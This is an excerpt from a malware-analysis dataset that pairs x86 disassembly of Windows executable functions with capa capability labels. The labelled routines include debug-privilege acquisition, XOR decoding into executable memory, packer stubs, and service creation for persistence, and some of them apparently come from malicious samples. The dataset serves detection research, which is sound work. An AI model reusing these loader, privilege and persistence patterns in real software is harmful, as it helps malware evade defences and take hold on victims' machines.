joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa45250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xa59808
push 0xa49288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0xa45329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0xa45329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00a481d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0xa45329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0xa45329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0xa4532c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.00a45351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xa45d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xa45d58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0xa45d60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0xa45d94
mov eax, dword [esp + 0x14]
test eax, eax
je 0xa45d94
push eax
push esi
call fcn.00a4820b
add esp, 8
pop esi
ret 0x10

Function at 0xa45da0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xa45e22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0xa45e15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0xa5e320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00a47dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0xa45dda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0xa45e30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xa45ec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0xa45eb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0xa5e320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00a47dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0xa45eab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0xa45e6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0xa46000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0xa46131
push esi
call fcn.00a49145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00a38080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0xa46131
push 0
push ebp
call fcn.00a383a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00a38260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0xa4608b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.00a382f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0xa46121
push 0xa5e918
push edi
call fcn.00a473f0
push eax
push ebx
push esi
call fcn.00a45f60
push 0xa5e8f8
push edi
call fcn.00a473f0
push eax
push ebx
push esi
call fcn.00a45f60
push 0xa5e8d8
push edi
call fcn.00a473f0
push eax
push ebx
push esi
call fcn.00a45f60
push 0xa5e8c0
push edi
call fcn.00a473f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.00a45f60
push 0xa5e8a0
push edi
call fcn.00a473f0
push eax
push ebx
push esi
call fcn.00a45f60
push 0xa5e888
push edi
call fcn.00a473f0
push eax
push ebx
push esi
call fcn.00a45f60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0xa471b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00a47140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00a47140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00a47140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00a47140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xa47bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xa47c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xa5987c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xa47c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xa47c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x4337d0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00434510
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00434510
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x433830
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x438070]
test esi, esi
jle 0x433950
mov eax, dword [0x438074]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x433864
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x4338e7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x433850
mov dword [esp], ebx
call fcn.00434220
mov edi, eax
test eax, eax
je 0x433977
mov eax, dword [0x438074]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00434360
mov edx, dword [0x438074]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x433957
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x4338e0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x4338f0
add dword [0x438070], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x438074]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x4338e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.004337d0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x43386e
mov eax, dword [0x438074]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.004337d0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.004337d0
lea esi, [esi]
nop
Function at 0x433e90
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x43808c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x438084]
sub esp, 4
test ebx, ebx
je 0x433ee5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x433ede
test esi, esi
je 0x433ede
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x433ec0
mov dword [esp], 0x43808c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x434220
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x434245
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x434250
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x434245
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x434298
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x43428e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x43429a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x434280
xor eax, eax
pop ebx
pop esi
ret
Function at 0x46e984
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ecx
push 0
push 0
push 0
call sub.gdi32.dll_SetMiterLimit
nop
mov ebx, 0x9e5647a
nop
nop
dec ebx
jne 0x46e999
mov eax, 0x1c081725
call fcn.00402728
mov esi, eax
test esi, esi
jne 0x46e9b5
jmp 0x46ea3f
mov dword [0x47dd44], 0x13933
push 0
push 0
push 0
call sub.gdi32.dll_SetMiterLimit
mov eax, esi
call fcn.00402748
nop
nop
mov ebx, 0x8e2b
push 0
push 0
push 0
call sub.gdi32.dll_SetMiterLimit
dec ebx
jne 0x46e9d8
mov eax, 0x5d57
call fcn.00402728
mov esi, eax
push esp
push 0x40
push 0x5d57
push esi
call sub.kernel32.dll_VirtualProtect
nop
nop
xor eax, eax
mov dword [0x47dd4c], eax
nop
nop
xor ebx, ebx
nop
mov dl, 0x8b
mov eax, ebx
mov edi, esi
add edi, eax
mov eax, dword [0x47dd4c]
mov al, byte [eax + 0x470278]
nop
nop
xor al, dl
mov byte [edi], al
add dword [0x47dd4c], 2
nop
inc ebx
cmp ebx, 0x5d57
jne 0x46ea0d
mov eax, esi
call fcn.0046e94c
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x46308b
Capabilities:
Packed with generic packer

Disassembly:
jmp 0x462e06
jmp 0x462e0b
jmp 0x462e10
jmp 0x462e15
jmp 0x462e1a
jmp 0x462e1f
jmp 0x462e24
jmp 0x462e29
jmp 0x462e2e
jmp 0x462e33
jmp 0x462e38
jmp 0x462e3d
jmp 0x462e42
jmp 0x462e47
jmp 0x462e4c
jmp 0x462e51
jmp 0x462e56
jmp 0x462e5b
jmp 0x462e60
jmp 0x462e65
jmp 0x462e6a
jmp 0x462e6f
jmp 0x462e74
jmp 0x462e79
jmp 0x462e7e
jmp 0x462e83
jmp 0x462e88
jmp 0x462e8d
jmp 0x462e92
jmp 0x462e97
jmp 0x462e9c
jmp 0x462ea1
jmp 0x462ea6
jmp 0x462eab
jmp 0x462eb0
jmp 0x462eb5
jmp 0x462eba
jmp 0x462ebf
jmp 0x462ec4
jmp 0x462ec9
jmp 0x462ece
jmp 0x462ed3
jmp 0x462ed8
jmp 0x462edd
jmp 0x462ee2
jmp 0x462ee7
jmp 0x462eec
jmp 0x462ef1
jmp 0x462ef6
jmp 0x462efb
jmp 0x462f00
jmp 0x462f05
jmp 0x462f0a
jmp 0x462f0f
jmp 0x462f14
jmp 0x462f19
jmp 0x462f1e
jmp 0x462f23
jmp 0x462f28
jmp 0x462f2d
jmp 0x462f32
jmp 0x462f37
jmp 0x462f3c
jmp 0x462f41
jmp 0x462f46
jmp 0x462f4b
jmp 0x462f50
jmp 0x462f55
jmp 0x462f5a
jmp 0x462f5f
jmp 0x462f64
jmp 0x462f69
jmp 0x462f6e
jmp 0x462f73
jmp 0x462f78
jmp 0x462f7d
jmp 0x462f82
jmp 0x462f87
jmp 0x462f8c
jmp 0x462f91
jmp 0x462f96
jmp 0x462f9b
jmp 0x462fa0
jmp 0x462fa5
jmp 0x462faa
jmp 0x462faf
jmp 0x462fb4
jmp 0x462fb9
jmp 0x462fbe
jmp 0x462fc3
jmp 0x462fc8
jmp 0x462fcd
jmp 0x462fd2
jmp 0x462fd7
jmp 0x462fdc
jmp 0x462fe1
jmp 0x462fe6
jmp 0x462feb
jmp 0x462ff0
jmp 0x462ff5
jmp 0x462ffa
jmp 0x462fff
jmp 0x463004
jmp 0x463009
jmp 0x46300e
jmp 0x463013
jmp 0x463018
jmp 0x46301d
jmp 0x463022
jmp 0x463027
jmp 0x46302c
jmp 0x463031
jmp 0x463036
jmp 0x46303b
jmp 0x463040
jmp 0x463045
jmp 0x46304a
jmp 0x46304f
jmp 0x463054
jmp 0x463059
jmp 0x46305e
jmp 0x463063
jmp 0x463068
jmp 0x46306d
jmp 0x463072
jmp 0x463077
jmp 0x46307c
jmp 0x463081
jmp 0x463086
Function at 0x42b4c6
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.0042b545
jae 0x42b4d2
xor ecx, ecx
call fcn.0042b545
jae 0x42b4fc
xor eax, eax
call fcn.0042b545
jae 0x42b50d
mov al, 0x10
call fcn.0042b545
adc al, al
jae 0x42b4ee
jne 0x42b53a
stosb byte es:[edi], al
jmp 0x42b4d3
call fcn.0042b551
dec ecx
loop 0x42b519
mov eax, ebp
call fcn.0042b54f
jmp 0x42b53b
lodsb al, byte [esi]
shr eax, 1
je 0x42b561
adc ecx, 2
mov ebp, eax
jmp 0x42b53b
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.0042b54f
cmp eax, 0x7d00
jae 0x42b539
cmp eax, 0x500
jae 0x42b53a
cmp eax, 0x7f
ja 0x42b53b
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x42b4d3
pop ebp
ret 8
Function at 0x4068d8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4068fc
xor eax, eax
test eax, eax
je 0x40690f
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40690f
xor ecx, ecx
jmp 0x406912
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406a35
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7a5dec], 0
push esi
jne 0x406a6c
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a46
mov dword [ecx*4 + 0x7a5de8], eax
inc ecx
cmp ecx, 0x100
jl 0x406a41
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406a9d
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7a5de8]
xor eax, esi
inc ecx
dec edx
jne 0x406a7f
pop edi
not eax
pop esi
ret 0xc

Function at 0x5d8ad3
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x5d87dc
mov edx, 0x30e895bf
and edx, edx
add edx, esi
call fcn.005d8b19
or esi, esi
xor dword [ebx], eax
add esi, 0x1a98af9c
mov edx, 0x97d13033
add esi, 0xa49fd411
add ebx, 2
and esi, edx
mov edx, 0x962e51cc
mov esi, esi
cmp ebx, ecx
jl fcn.005d8ad3
add edx, 0x48d600f5
add edx, edx
ret

Function at 0x710c74
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x7109ec
dec ebx
dec ebx
call fcn.00710ca4
or ebx, eax
add ebx, 0x621e2939
xor dword [edx], ecx
add ebx, eax
inc eax
inc edx
mov ebx, 0xdb587f70
cmp edx, edi
jne fcn.00710c74
mov ebx, eax
and ebx, eax
ret
Function at 0x10003110
Capabilities:
Create service
Persist via windows service

Disassembly:
das
add byte [eax], dl
bound ebp, qword [edi]
add byte [eax], dl
xchg esp, eax
das
add byte [eax], dl
lodsd eax, dword [esi]
das
add byte [eax], dl
jnp 0x10003102
add byte [eax], dl
fild qword [edi]
add byte [eax], dl
clc
das
add byte [eax], dl
adc dword [eax], esi
add byte [eax], dl
clc
das
add byte [eax], dl
xchg ecx, eax
xor byte [eax], al
adc byte [ecx + 0x62100030], dl
das
add byte [eax], dl
bound ebp, qword [edi]
add byte [eax], dl
daa
xor byte [eax], al
adc byte [0x53100030], bh
xor byte [eax], al
adc byte [ecx + 0x62100030], dl
das
xor byte [eax], al
adc byte [edx + 0x2f], ah
add byte [eax], dl
int3
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
nop
nop
sub eax, eax
je 0x1000312a
nop
nop
nop
nop
jae 0x100030c2
xor dword [eax + 0x6a], ebx
add byte [edx], ch
pop eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
push 1
push 2
push 1
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10003163
xor eax, eax
jmp 0x10003172
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10003180
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
add byte [edx], ch
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
nop
nop
sub eax, eax
je 0x1000319a
nop
nop
nop
nop
jae 0x10003132
xor dword [eax + 0x68], ebx
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.dll_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100031bb
xor eax, eax
jmp 0x100031d9
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x100031f0
Capabilities:
Start service

Disassembly:
or al, 0x50
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 0x48], ecx
push eax
nop
nop
sub eax, eax
je 0x1000320a
nop
nop
nop
nop
jae 0x100031a2
xor dword [eax - 0x3a], ebx
inc ebp
mov esp, 0xfb900
add byte [eax], al
pop eax
mov byte [ebp - 0x44], 0
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x43]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push eax
push str..p_s
lea ecx, [ebp - 0x44]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
Function at 0x10003290
Capabilities:
Stop service

Disassembly:
add byte [eax], al
add al, al
lea edx, [ebp - 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x1000325d
xor eax, eax
jmp 0x1000327c
cmp dword [ebp + 0xc], 0
je 0x1000326d
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
jmp 0x10003277
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x28], ecx
push eax
nop
nop
sub eax, eax
je 0x100032aa
nop
nop
nop
nop
jae 0x10003242
xor dword [eax + 0x68], ebx
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.dll_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100032cb
xor eax, eax
jmp 0x100032eb
lea edx, [ebp - 0x20]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10003300
Capabilities:
Delete service
Stop service

Disassembly:
or al, 0x50
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
push eax
nop
nop
sub eax, eax
je 0x1000331a
nop
nop
nop
nop
jae 0x100032b2
xor dword [eax + 0x68], ebx
inc dword [ecx]
str word [ebx - 0x74aff3bb]
dec ebp
or byte [ecx - 1], dl
adc eax, sym.imp.ADVAPI32.dll_OpenServiceA
pop eax
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000333b
xor eax, eax
jmp 0x10003355
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10003360
Capabilities:
Delete service
Stop service

Disassembly:
pop es
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
push eax
nop
nop
sub eax, eax
je 0x1000337a
nop
nop
nop
nop
jae 0x10003312
xor dword [eax + 0x68], ebx
aas
add byte [edi], cl
add byte [edx], ch
pop eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 8]
call fcn.10003290
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
call fcn.10003300
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4